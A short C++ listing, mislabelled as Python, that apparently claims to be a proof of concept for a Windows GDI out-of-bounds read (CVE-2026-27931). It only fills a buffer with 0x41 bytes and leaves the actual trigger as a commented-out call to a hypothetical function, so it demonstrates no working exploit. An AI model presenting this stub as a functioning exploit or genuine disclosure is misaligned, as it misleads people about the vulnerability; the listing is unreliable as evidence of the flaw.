The following code is for security research and authorized testing only.
python
#include <windows.h>
#include <iostream>
// Conceptual Proof of Concept for CVE-2026-27931
// This demonstrates the logic of triggering an Out-of-Bounds Read
// in Windows GDI by manipulating graphical objects.
int main() {
std::cout << "[*] CVE-2026-27931 PoC Start" << std::endl;
// 1. Obtain a handle to the device context
HDC hdc = GetDC(NULL);
if (!hdc) {
std::cerr << "[-] Failed to get Device Context" << std::endl;
return 1;
}
// 2. Simulate crafting a malicious structure (e.g., Region or Bitmap)
// In a real exploit, specific offsets and sizes are calculated
// to point the read pointer outside the valid buffer.
// This represents the malformed data passed to GDI.
BYTE maliciousData[0x100];
memset(maliciousData, 0x41, sizeof(maliciousData));
// Assume offset 0x10 controls the read size or boundary
// (DWORD*)maliciousData[0x10] = 0xFFFFFFFF;
// 3. Trigger the vulnerable API
// (Function name is hypothetical as the specific API is not disclosed)
// For example: ExtCreateRegion, GetRegionData, etc.
// The goal is to make GDI read beyond 'maliciousData' based on
// manipulated headers.
// Placeholder for the actual trigger:
// bool result = VulnerableGDIFunction(hdc, maliciousData, sizeof(maliciousData));
std::cout << "[*] Attempting to trigger OOB read..." << std::endl;
// If successful, an access violation or info leak occurs here
// which can be observed in a debugger.
// 4. Cleanup
ReleaseDC(NULL, hdc);
std::cout << "[*] PoC Finished" << std::endl;
return 0;
}